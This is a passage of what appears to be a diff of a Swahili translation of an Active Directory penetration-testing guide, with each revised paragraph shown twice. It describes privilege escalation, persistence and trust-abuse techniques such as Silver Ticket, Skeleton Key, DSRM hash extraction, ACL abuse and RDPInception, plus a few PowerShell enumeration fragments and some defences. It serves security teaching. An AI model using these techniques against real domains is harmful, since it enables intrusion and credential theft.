			
		||||
 | 
			
		||||
Kuwa na mamlaka ya **WRITE** kwenye kitu cha Active Directory cha kompyuta ya mbali kunaruhusu kupata utekelezaji wa msimbo kwa **mamlaka ya juu**:
 | 
			
		||||
Kuwa na mamlaka ya **WRITE** kwenye kitu cha Active Directory cha kompyuta ya mbali kunaruhusu kupata utekelezaji wa msimbo wenye **mamlaka ya juu**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
resource-based-constrained-delegation.md
 | 
			
		||||
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
 | 
			
		||||
 | 
			
		||||
### ACLs Abuse
 | 
			
		||||
 | 
			
		||||
Mtumiaji aliyeathiriwa anaweza kuwa na **mamlaka ya kuvutia juu ya baadhi ya vitu vya kikoa** ambavyo vinaweza kukuruhusu **kuhamasisha** kwa upande/**kuinua** mamlaka.
 | 
			
		||||
Mtumiaji aliyeathiriwa anaweza kuwa na **mamlaka za kuvutia juu ya baadhi ya vitu vya kikoa** ambavyo vinaweza kukuruhusu **kuhamasisha** kwa upande/**kuinua** mamlaka.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
acl-persistence-abuse/
 | 
			
		||||
@ -344,7 +344,7 @@ laps.md
 | 
			
		||||
 | 
			
		||||
### Certificate Theft
 | 
			
		||||
 | 
			
		||||
**Kukusanya vyeti** kutoka kwenye mashine iliyoathiriwa inaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
 | 
			
		||||
**Kukusanya vyeti** kutoka kwenye mashine iliyoathiriwa kunaweza kuwa njia ya kuinua mamlaka ndani ya mazingira:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ad-certificates/certificate-theft.md
 | 
			
		||||
@ -393,7 +393,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
 | 
			
		||||
 | 
			
		||||
### Silver Ticket
 | 
			
		||||
 | 
			
		||||
**Shambulio la Silver Ticket** linaunda **tiketi halali ya Huduma ya Tiketi ya Kutoa (TGS)** kwa huduma maalum kwa kutumia **hash ya NTLM** (kwa mfano, **hash ya akaunti ya PC**). Mbinu hii inatumika ili **kufikia mamlaka ya huduma**.
 | 
			
		||||
**Shambulio la Silver Ticket** linaunda **tiketi halali ya Huduma ya Kutoa Tiketi (TGS)** kwa huduma maalum kwa kutumia **hash ya NTLM** (kwa mfano, **hash ya akaunti ya PC**). Njia hii inatumika ili **kufikia mamlaka ya huduma**.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
silver-ticket.md
 | 
			
		||||
@ -427,7 +427,7 @@ ad-certificates/account-persistence.md
 | 
			
		||||
 | 
			
		||||
### **Certificates Domain Persistence**
 | 
			
		||||
 | 
			
		||||
**Kutumia vyeti pia kunawezekana kudumu kwa mamlaka ya juu ndani ya kikoa:**
 | 
			
		||||
**Kutumia vyeti pia kunawezekana kudumu na mamlaka ya juu ndani ya kikoa:**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ad-certificates/domain-persistence.md
 | 
			
		||||
@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
 | 
			
		||||
 | 
			
		||||
### AdminSDHolder Group
 | 
			
		||||
 | 
			
		||||
Kitu cha **AdminSDHolder** katika Active Directory kinahakikisha usalama wa **makundi yenye mamlaka** (kama Wasimamizi wa Kikoa na Wasimamizi wa Biashara) kwa kutumia **Orodha ya Udhibiti wa Ufikiaji (ACL)** ya kawaida kati ya makundi haya ili kuzuia mabadiliko yasiyoidhinishwa. Hata hivyo, kipengele hiki kinaweza kutumika vibaya; ikiwa mshambuliaji atabadilisha ACL ya AdminSDHolder ili kutoa ufikiaji kamili kwa mtumiaji wa kawaida, mtumiaji huyo anapata udhibiti mkubwa juu ya makundi yote yenye mamlaka. Kipimo hiki cha usalama, kilichokusudiwa kulinda, kinaweza hivyo kurudi nyuma, kuruhusu ufikiaji usio na haki isipokuwa ufuatiliwe kwa karibu.
 | 
			
		||||
Kitu cha **AdminSDHolder** katika Active Directory kinahakikisha usalama wa **makundi yenye mamlaka** (kama Wasimamizi wa Kikoa na Wasimamizi wa Biashara) kwa kutumia **Orodha ya Udhibiti wa Ufikiaji (ACL)** ya kawaida kati ya makundi haya ili kuzuia mabadiliko yasiyoidhinishwa. Hata hivyo, kipengele hiki kinaweza kutumika vibaya; ikiwa mshambuliaji atabadilisha ACL ya AdminSDHolder ili kutoa ufikiaji kamili kwa mtumiaji wa kawaida, mtumiaji huyo anapata udhibiti mkubwa juu ya makundi yote yenye mamlaka. Kipimo hiki cha usalama, kilichokusudiwa kulinda, kinaweza hivyo kurudi nyuma, kuruhusu ufikiaji usiofaa isipokuwa ufuatiliwe kwa karibu.
 | 
			
		||||
 | 
			
		||||
[**Taarifa zaidi kuhusu Kundi la AdminDSHolder hapa.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 | 
			
		||||
 | 
			
		||||
### DSRM Credentials
 | 
			
		||||
 | 
			
		||||
Ndani ya kila **Msimamizi wa Kikoa (DC)**, akaunti ya **msimamizi wa ndani** inapatikana. Kwa kupata haki za usimamizi kwenye mashine kama hiyo, hash ya Msimamizi wa ndani inaweza kutolewa kwa kutumia **mimikatz**. Baada ya hapo, mabadiliko ya rejista yanahitajika ili **kuwezesha matumizi ya nenosiri hili**, kuruhusu ufikiaji wa mbali kwa akaunti ya Msimamizi wa ndani.
 | 
			
		||||
Ndani ya kila **Msimamizi wa Kikoa (DC)**, kuna akaunti ya **msimamizi wa ndani**. Kwa kupata haki za admin kwenye mashine kama hiyo, hash ya Msimamizi wa ndani inaweza kutolewa kwa kutumia **mimikatz**. Baada ya hii, mabadiliko ya rejista yanahitajika ili **kuwezesha matumizi ya nenosiri hili**, kuruhusu ufikiaji wa mbali kwa akaunti ya Msimamizi wa ndani.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
dsrm-credentials.md
 | 
			
		||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
 | 
			
		||||
 | 
			
		||||
### Security Descriptors
 | 
			
		||||
 | 
			
		||||
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia sana juu ya kitu hicho bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
 | 
			
		||||
**Maelezo ya usalama** yanatumika kuhifadhi **mamlaka** ambayo **kitu** kina **juu ya** **kitu**. Ikiwa unaweza tu **kufanya** **mabadiliko madogo** katika **maelezo ya usalama** ya kitu, unaweza kupata mamlaka ya kuvutia juu ya kitu hicho bila kuhitaji kuwa mwanachama wa kundi lenye mamlaka.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
security-descriptors.md
 | 
			
		||||
@ -465,7 +465,7 @@ security-descriptors.md
 | 
			
		||||
 | 
			
		||||
### Skeleton Key
 | 
			
		||||
 | 
			
		||||
Badilisha **LSASS** katika kumbukumbu ili kuanzisha **nenosiri la ulimwengu**, linalotoa ufikiaji kwa akaunti zote za kikoa.
 | 
			
		||||
Badilisha **LSASS** katika kumbukumbu ili kuanzisha **neno la siri la ulimwengu**, linalotoa ufikiaji kwa akaunti zote za kikoa.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
skeleton-key.md
 | 
			
		||||
@ -491,7 +491,7 @@ dcshadow.md
 | 
			
		||||
 | 
			
		||||
### LAPS Persistence
 | 
			
		||||
 | 
			
		||||
Kabla tulijadili jinsi ya kuinua mamlaka ikiwa una **ruhusa za kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika **kuhifadhi kudumu**.\
 | 
			
		||||
Kabla tulizungumzia jinsi ya kuinua mamlaka ikiwa una **ruhusa za kutosha kusoma maneno ya siri ya LAPS**. Hata hivyo, maneno haya ya siri yanaweza pia kutumika **kuhifadhi kudumu**.\
 | 
			
		||||
Angalia:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
@ -500,58 +500,50 @@ laps.md
 | 
			
		||||
 | 
			
		||||
## Forest Privilege Escalation - Domain Trusts
 | 
			
		||||
 | 
			
		||||
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuathiri kikoa kimoja kunaweza kusababisha msitu mzima kuathiriwa**.
 | 
			
		||||
Microsoft inaona **Msitu** kama mpaka wa usalama. Hii inamaanisha kwamba **kuharibu kikoa kimoja kunaweza kusababisha msitu mzima kuathiriwa**.
 | 
			
		||||
 | 
			
		||||
### Basic Information
 | 
			
		||||
 | 
			
		||||
[**Uhusiano wa kikoa**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kwenye **kikoa** kufikia rasilimali katika **kikoa** kingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya kikoa viwili, ikiruhusu uthibitishaji kuhamasika bila matatizo. Wakati makundi yanapoweka uhusiano wa kuaminiana, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wao wa Kikoa (DCs)**, ambazo ni muhimu kwa uaminifu wa uhusiano huo.
 | 
			
		||||
[**uaminifu wa kikoa**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ni mekanizma ya usalama inayowezesha mtumiaji kutoka kikoa kimoja kufikia rasilimali katika kikoa kingine. Kimsingi inaunda uhusiano kati ya mifumo ya uthibitishaji ya viwango viwili, ikiruhusu uthibitishaji wa verifications kuhamasika bila shida. Wakati viwango vinapoweka uaminifu, wanabadilishana na kuhifadhi funguo maalum ndani ya **Msimamizi wao wa Kikoa (DCs)**, ambazo ni muhimu kwa uaminifu wa uaminifu.
 | 
			
		||||
 | 
			
		||||
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **kikoa kilichoaminika**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka kwa DC ya kikoa chake mwenyewe. TGT hii inasimbwa kwa funguo ya pamoja ambayo makundi yote mawili yamekubaliana. Mtumiaji kisha anawasilisha TGT hii kwa **DC ya kikoa kilichoaminika** ili kupata tiketi ya huduma (**TGS**). Baada ya uthibitishaji wa mafanikio wa inter-realm TGT na DC ya kikoa kilichoaminika, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
 | 
			
		||||
Katika hali ya kawaida, ikiwa mtumiaji anataka kufikia huduma katika **kikoa kilichoaminika**, lazima kwanza aombe tiketi maalum inayojulikana kama **inter-realm TGT** kutoka kwa DC ya kikoa chake mwenyewe. TGT hii inasimbwa kwa funguo ya pamoja ambayo viwango vyote viwili vimekubaliana. Mtumiaji kisha anawasilisha TGT hii kwa **DC ya kikoa kilichoaminika** ili kupata tiketi ya huduma (**TGS**). Baada ya uthibitishaji wa mafanikio wa inter-realm TGT na DC ya kikoa kilichoaminika, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
 | 
			
		||||
 | 
			
		||||
**Hatua**:
 | 
			
		||||
 | 
			
		||||
1. **Kompyuta ya mteja** katika **Kikoa 1** inaanza mchakato kwa kutumia **hash ya NTLM** kuomba **Tiketi ya Kutoa Tiketi (TGT)** kutoka kwa **Msimamizi wake wa Kikoa (DC1)**.
 | 
			
		||||
2. DC1 inatoa TGT mpya ikiwa mteja amethibitishwa kwa mafanikio.
 | 
			
		||||
2. DC1 inatoa TGT mpya ikiwa mteja ameidhinishwa kwa mafanikio.
 | 
			
		||||
3. Mteja kisha anaomba **inter-realm TGT** kutoka DC1, ambayo inahitajika kufikia rasilimali katika **Kikoa 2**.
 | 
			
		||||
4. Inter-realm TGT inasimbwa kwa **funguo ya kuaminiana** iliyoshirikiwa kati ya DC1 na DC2 kama sehemu ya uhusiano wa kuaminiana wa pande mbili.
 | 
			
		||||
4. Inter-realm TGT inasimbwa kwa **funguo ya uaminifu** iliyoshirikiwa kati ya DC1 na DC2 kama sehemu ya uaminifu wa kikoa wa pande mbili.
 | 
			
		||||
5. Mteja anachukua inter-realm TGT kwa **Msimamizi wa Kikoa 2 (DC2)**.
 | 
			
		||||
6. DC2 inathibitisha inter-realm TGT kwa kutumia funguo yake ya kuaminiana iliyoshirikiwa na, ikiwa ni halali, inatoa **Huduma ya Tiketi ya Kutoa (TGS)** kwa seva katika Kikoa 2 ambayo mteja anataka kufikia.
 | 
			
		||||
6. DC2 inathibitisha inter-realm TGT kwa kutumia funguo yake ya uaminifu iliyoshirikiwa na, ikiwa ni halali, inatoa **Huduma ya Kutoa Tiketi (TGS)** kwa seva katika Kikoa 2 ambayo mteja anataka kufikia.
 | 
			
		||||
7. Hatimaye, mteja anawasilisha TGS hii kwa seva, ambayo imesimbwa kwa hash ya akaunti ya seva, ili kupata ufikiaji wa huduma katika Kikoa 2.
 | 
			
		||||
 | 
			
		||||
### Different trusts
 | 
			
		||||
 | 
			
		||||
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo za njia 2, makundi yote mawili yatakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya makundi itakuwa **ya kuaminika** na nyingine itakuwa **ya kuamini**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya kikoa kinachoamini kutoka kwenye kikoa kilichoaminika**.
 | 
			
		||||
Ni muhimu kutambua kwamba **uaminifu unaweza kuwa wa njia 1 au njia 2**. Katika chaguo za njia 2, viwango vyote viwili vitakuwa na uaminifu kwa kila mmoja, lakini katika uhusiano wa **njia 1** moja ya viwango itakuwa **imeaminika** na nyingine itakuwa **inayoaminika**. Katika kesi ya mwisho, **utaweza tu kufikia rasilimali ndani ya kikoa kinachoaminika kutoka kwa kikoa kilichoaminika**.
 | 
			
		||||
 | 
			
		||||
Ikiwa Kikoa A kinakuamini Kikoa B, A ni kikoa kinachoamini na B ni kikoa kilichoaminika. Zaidi ya hayo, katika **Kikoa A**, hii itakuwa **Uaminifu wa Nje**; na katika **Kikoa B**, hii itakuwa **Uaminifu wa Ndani**.
 | 
			
		||||
Ikiwa Kikoa A kinatumia Kikoa B, A ni kikoa kinachoaminika na B ni kikoa kilichoaminika. Zaidi ya hayo, katika **Kikoa A**, hii itakuwa **uaminifu wa nje**; na katika **Kikoa B**, hii itakuwa **uaminifu wa ndani**.
 | 
			
		||||
 | 
			
		||||
**Uhusiano tofauti wa kuaminiana**
 | 
			
		||||
**Uhusiano tofauti wa uaminifu**
 | 
			
		||||
 | 
			
		||||
- **Uhusiano wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo kikoa cha mtoto kwa otomatiki kina uhusiano wa kuaminiana wa pande mbili na kikoa chake cha mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila matatizo kati ya mzazi na mtoto.
 | 
			
		||||
- **Uhusiano wa Cross-link**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya makundi ya watoto ili kuharakisha michakato ya rejeleo. Katika misitu ngumu, rejeleo la uthibitishaji kwa kawaida linahitaji kusafiri hadi mzizi wa msitu na kisha chini hadi kikoa lengwa. Kwa kuunda viungo vya msalaba, safari inafupishwa, ambayo ni muhimu hasa katika mazingira yaliyosambazwa kijiografia.
 | 
			
		||||
- **Uhusiano wa Nje**: Hizi zimeanzishwa kati ya makundi tofauti, yasiyo na uhusiano na ni zisizo za kuhamasika kwa asili. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uhusiano wa nje ni muhimu kwa kufikia rasilimali katika kikoa kilicho nje ya msitu wa sasa ambacho hakijashikamana na uhusiano wa msitu. Usalama unaboreshwa kupitia kuchujwa kwa SID na uhusiano wa nje.
 | 
			
		||||
- **Uhusiano wa Mti-Mzizi**: Uhusiano huu huanzishwa kwa otomatiki kati ya kikoa cha mzizi wa msitu na mti mpya ulioongezwa. Ingawa si kawaida kukutana, uhusiano wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya kikoa kwenye msitu, ikiruhusu kudumisha jina la kipekee la kikoa na kuhakikisha uhamasishaji wa pande mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
 | 
			
		||||
- **Uhusiano wa Msitu**: Aina hii ya uaminifu ni uaminifu wa pande mbili wa kuhamasika kati ya makundi mawili ya mzizi wa msitu, pia ikilazimisha kuchujwa kwa SID ili kuimarisha hatua za usalama.
 | 
			
		||||
- **Uhusiano wa MIT**: Hizi zimeanzishwa na makundi yasiyo ya Windows, [RFC4120-inayokubalika](https://tools.ietf.org/html/rfc4120) Kerberos. Uhusiano wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
 | 
			
		||||
- **Uaminifu wa Mzazi-Mwana**: Hii ni mipangilio ya kawaida ndani ya msitu mmoja, ambapo kikoa cha mtoto kwa otomatiki kina uaminifu wa pande mbili na kikoa chake cha mzazi. Kimsingi, hii inamaanisha kwamba maombi ya uthibitishaji yanaweza kuhamasika bila shida kati ya mzazi na mtoto.
 | 
			
		||||
- **Uaminifu wa Cross-link**: Inajulikana kama "uaminifu wa mkato," hizi zimeanzishwa kati ya viwango vya watoto ili kuharakisha michakato ya rufaa. Katika misitu ngumu, rufaa za uthibitishaji kawaida zinahitaji kusafiri hadi mzizi wa msitu na kisha chini hadi kikoa lengwa. Kwa kuunda viungo vya msalaba, safari inakuwa fupi, ambayo ni faida hasa katika mazingira yaliyosambazwa kijiografia.
 | 
			
		||||
- **Uaminifu wa Nje**: Hizi zimeanzishwa kati ya viwango tofauti, visivyo na uhusiano na ni zisizo za kupitisha kwa asili. Kulingana na [nyaraka za Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), uaminifu wa nje ni muhimu kwa kufikia rasilimali katika kikoa kilicho nje ya msitu wa sasa ambacho hakijashikamana na uaminifu wa msitu. Usalama unaboreshwa kupitia kuchuja SID na uaminifu wa nje.
 | 
			
		||||
- **Uaminifu wa Mti-Mzizi**: Uaminifu huu huanzishwa moja kwa moja kati ya kikoa cha mzizi wa msitu na mti mpya ulioongezwa. Ingawa si kawaida kukutana, uaminifu wa mti-mzizi ni muhimu kwa kuongeza miti mipya ya kikoa kwenye msitu, ikiruhusu kudumisha jina la kipekee la kikoa na kuhakikisha kupitisha kwa pande mbili. Taarifa zaidi zinaweza kupatikana katika [mwongozo wa Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
 | 
			
		||||
- **Uaminifu wa Msitu**: Aina hii ya uaminifu ni uaminifu wa pande mbili wa kupitisha kati ya viwango viwili vya mzizi wa msitu, pia ikilazimisha kuchuja SID ili kuimarisha hatua za usalama.
 | 
			
		||||
- **Uaminifu wa MIT**: Hizi zimeanzishwa na viwango vya Kerberos visivyo vya Windows, [RFC4120-inavyokubaliana](https://tools.ietf.org/html/rfc4120). Uaminifu wa MIT ni maalum zaidi na unalenga mazingira yanayohitaji ushirikiano na mifumo ya Kerberos nje ya mfumo wa Windows.
 | 
			
		||||
 | 
			
		||||
#### Tofauti nyingine katika **uhusiano wa kuaminiana**
 | 
			
		||||
#### Tofauti nyingine katika **uhusiano wa uaminifu**
 | 
			
		||||
 | 
			
		||||
- Uhusiano wa kuaminiana unaweza pia kuwa **wa kuhamasika** (A inakuamini B, B inakuamini C, kisha A inakuamini C) au **usio wa kuhamasika**.
 | 
			
		||||
- Uhusiano wa kuaminiana unaweza kuwekwa kama **uaminifu wa pande mbili** (wote wanakuamini) au kama **uaminifu wa njia moja** (moja tu kati yao inakuamini nyingine).
 | 
			
		||||
- Uhusiano wa uaminifu unaweza pia kuwa **wa kupitisha** (A inatumia B, B inatumia C, kisha A inatumia C) au **usio wa kupitisha**.
 | 
			
		||||
- Uhusiano wa uaminifu unaweza kuwekwa kama **uaminifu wa pande mbili** (vyote vinajiamini) au kama **uaminifu wa njia moja** (moja tu inajiamini nyingine).
 | 
			
		||||
 | 
			
		||||
### Attack Path
 | 
			
		||||
 | 
			
		||||
1. **Tathmini** uhusiano wa kuaminiana
 | 
			
		||||
2. Angalia ikiwa **kiongozi wa usalama** (mtumiaji/kundi/kompyuta) ana **ufikiaji** wa rasilimali za **kikoa kingine**, labda kupitia entries za ACE au kwa kuwa katika makundi ya kikoa kingine. Angalia **uhusiano kati ya makundi** (uaminifu ulianzishwa kwa hili labda).
 | 
			
		||||
1. **Tathmini** uhusiano wa uaminifu
 | 
			
		||||
2. Angalia ikiwa **kiongozi wa usalama** (mtumiaji/kundi/kompyuta) ana **ufikiaji** wa rasilimali za **kikoa kingine**, labda kupitia entries za ACE au kwa kuwa katika makundi ya kikoa kingine. Tafuta **uhusiano kati ya viwango** (uaminifu ulianzishwa kwa hili labda).
 | 
			
		||||
1. kerberoast katika kesi hii inaweza kuwa chaguo lingine.
 | 
			
		||||
3. **Vunja** **akaunti** ambazo zinaweza **kuhamasisha** kati ya makundi.
 | 
			
		||||
 | 
			
		||||
Wavamizi wanaweza kufikia rasilimali katika kikoa kingine kupitia mitambo mitatu kuu:
 | 
			
		||||
 | 
			
		||||
- **Uanachama wa Kundi la Mitaa**: Viongozi wanaweza kuongezwa kwenye makundi ya ndani kwenye mashine, kama kundi la "Wasimamizi" kwenye seva, wakitoa udhibiti mkubwa juu ya mashine hiyo.
 | 
			
		||||
- **Uanachama wa Kundi la Kikoa la Kigeni**: Viongozi pia wanaweza kuwa wanachama wa makundi ndani ya kikoa cha kigeni. Hata hivyo, ufanisi wa mbinu hii unategemea asili ya uaminifu na upeo wa kundi.
 | 
			
		||||
- **Orodha za Udhibiti wa Ufikiaji (ACLs)**: Viongozi wanaweza kutajwa katika **ACL**, hasa kama viumbe katika **ACEs** ndani ya **DACL**, wakitoa ufikiaji kwa rasilimali maalum. Kwa wale wanaotaka kuingia kwa undani zaidi katika mitambo ya ACLs, DACLs, na ACEs, karatasi ya nyeupe iliyoitwa “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” ni rasilimali muhimu.
 | 
			
		||||
 | 
			
		||||
### Child-to-Parent forest privilege escalation
 | 
			
		||||
3. **Haribu** **akaunti** ambazo zinaweza **kuhamasisha** kupitia viwango.
 | 
			
		||||
```
 | 
			
		||||
Get-DomainTrust
 | 
			
		||||
 | 
			
		||||
@ -606,7 +598,7 @@ Kusoma zaidi kunaweza kupatikana kwenye [Schema Change Trust Attacks](https://im
 | 
			
		||||
 | 
			
		||||
Ukatili wa ADCS ESC5 unalenga udhibiti wa vitu vya Public Key Infrastructure (PKI) ili kuunda kigezo cha cheti kinachowezesha uthibitisho kama mtumiaji yeyote ndani ya msitu. Kwa kuwa vitu vya PKI vinapatikana katika Configuration NC, kuhatarisha DC ya mtoto inayoweza kuandikwa kunaruhusu utekelezaji wa mashambulizi ya ESC5.
 | 
			
		||||
 | 
			
		||||
Maelezo zaidi kuhusu hili yanaweza kusomwa katika [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Katika hali ambazo hazina ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele muhimu, kama ilivyojadiliwa katika [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
 | 
			
		||||
Maelezo zaidi kuhusu hili yanaweza kusomwa katika [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). Katika hali zisizo na ADCS, mshambuliaji ana uwezo wa kuanzisha vipengele muhimu, kama ilivyojadiliwa katika [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
 | 
			
		||||
 | 
			
		||||
### External Forest Domain - One-Way (Inbound) or bidirectional
 | 
			
		||||
```powershell
 | 
			
		||||
@ -619,7 +611,7 @@ TrustDirection  : Inbound          --> Inboud trust
 | 
			
		||||
WhenCreated     : 2/19/2021 10:50:56 PM
 | 
			
		||||
WhenChanged     : 2/19/2021 10:50:56 PM
 | 
			
		||||
```
 | 
			
		||||
Katika hali hii **domeni yako inatambuliwa** na moja ya nje ikikupa **idhini zisizojulikana** juu yake. Utahitaji kutafuta **ni wakuu gani wa domeni yako wana ufikiaji gani juu ya domeni ya nje** na kisha jaribu kuifanyia shambulio:
 | 
			
		||||
Katika hali hii **domeni yako inatambuliwa** na nyingine ya nje ikikupa **idhini zisizojulikana** juu yake. Utahitaji kutafuta **ni wakuu gani wa domeni yako wana ufikiaji gani juu ya domeni ya nje** na kisha jaribu kuifanyia shambulio:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
external-forest-domain-oneway-inbound.md
 | 
			
		||||
@ -645,7 +637,7 @@ Hata hivyo, wakati **domeni inayoaminika** na domeni inayoweka imani, domeni ina
 | 
			
		||||
external-forest-domain-one-way-outbound.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Njia nyingine ya kuathiri domeni inayowekwa imani ni kutafuta [**kiungo cha SQL kilichoaminika**](abusing-ad-mssql.md#mssql-trusted-links) kilichoundwa katika **mwelekeo kinyume** cha uaminifu wa domeni (ambayo si ya kawaida sana).
 | 
			
		||||
Njia nyingine ya kuathiri domeni inayowekwa imani ni kutafuta [**kiungo cha SQL kilichoaminika**](abusing-ad-mssql.md#mssql-trusted-links) kilichoundwa katika **mwelekeo kinyume** cha imani ya domeni (ambayo si ya kawaida sana).
 | 
			
		||||
 | 
			
		||||
Njia nyingine ya kuathiri domeni inayowekwa imani ni kusubiri kwenye mashine ambapo **mtumiaji kutoka kwenye domeni inayowekwa imani anaweza kufikia** kuingia kupitia **RDP**. Kisha, mshambuliaji anaweza kuingiza msimbo katika mchakato wa kikao cha RDP na **kufikia domeni ya asili ya mwathirika** kutoka pale.\
 | 
			
		||||
Zaidi ya hayo, ikiwa **mwathirika ameunganisha diski yake ngumu**, kutoka kwenye mchakato wa **kikao cha RDP** mshambuliaji anaweza kuhifadhi **backdoors** kwenye **kabrasha la kuanzisha la diski ngumu**. Mbinu hii inaitwa **RDPInception.**
 | 
			
		||||
@ -654,19 +646,19 @@ Zaidi ya hayo, ikiwa **mwathirika ameunganisha diski yake ngumu**, kutoka kwenye
 | 
			
		||||
rdp-sessions-abuse.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Kupunguza matumizi mabaya ya uaminifu wa domeni
 | 
			
		||||
### Kupunguza matumizi mabaya ya imani ya domeni
 | 
			
		||||
 | 
			
		||||
### **SID Filtering:**
 | 
			
		||||
 | 
			
		||||
- Hatari ya mashambulizi yanayotumia sifa ya historia ya SID katika uaminifu wa msitu inapunguziliwa mbali na SID Filtering, ambayo imewezeshwa kwa chaguo-msingi kwenye uaminifu wote wa msitu. Hii inategemea dhana kwamba uaminifu wa ndani ya msitu ni salama, ukizingatia msitu, badala ya domeni, kama mpaka wa usalama kulingana na msimamo wa Microsoft.
 | 
			
		||||
- Hatari ya mashambulizi yanayotumia sifa ya historia ya SID katika imani za msitu inapunguziliwa mbali na SID Filtering, ambayo imewezeshwa kwa chaguo-msingi kwenye imani zote za kati ya msitu. Hii inategemea dhana kwamba imani za ndani ya msitu ni salama, ikizingatia msitu, badala ya domeni, kama mpaka wa usalama kulingana na msimamo wa Microsoft.
 | 
			
		||||
- Hata hivyo, kuna tatizo: SID filtering inaweza kuathiri programu na ufikiaji wa watumiaji, na kusababisha kuondolewa kwake mara kwa mara.
 | 
			
		||||
 | 
			
		||||
### **Uthibitishaji wa Chaguo:**
 | 
			
		||||
 | 
			
		||||
- Kwa uaminifu wa kati ya misitu, kutumia Uthibitishaji wa Chaguo kunahakikisha kwamba watumiaji kutoka kwenye misitu miwili hawathibitishwi moja kwa moja. Badala yake, ruhusa maalum zinahitajika kwa watumiaji kufikia domeni na seva ndani ya domeni au msitu unaoweka imani.
 | 
			
		||||
- Ni muhimu kutambua kwamba hatua hizi hazilinda dhidi ya matumizi mabaya ya Muktadha wa Jina la Mwandiko (NC) unaoweza kuandikwa au mashambulizi kwenye akaunti ya uaminifu.
 | 
			
		||||
- Kwa imani za kati ya msitu, kutumia Uthibitishaji wa Chaguo kunahakikisha kwamba watumiaji kutoka kwenye msitu mbili hawathibitishwi kiotomatiki. Badala yake, ruhusa wazi zinahitajika kwa watumiaji kufikia domeni na seva ndani ya domeni au msitu unaoweka imani.
 | 
			
		||||
- Ni muhimu kutambua kwamba hatua hizi hazilinda dhidi ya matumizi mabaya ya Muktadha wa Jina la Usanidi (NC) unaoweza kuandikwa au mashambulizi kwenye akaunti ya imani.
 | 
			
		||||
 | 
			
		||||
[**Taarifa zaidi kuhusu uaminifu wa domeni katika ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
 | 
			
		||||
[**Taarifa zaidi kuhusu imani za domeni katika ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
 | 
			
		||||
 | 
			
		||||
## AD -> Azure & Azure -> AD
 | 
			
		||||
 | 
			
		||||
@ -676,24 +668,24 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
 | 
			
		||||
 | 
			
		||||
## Ulinzi wa Jumla
 | 
			
		||||
 | 
			
		||||
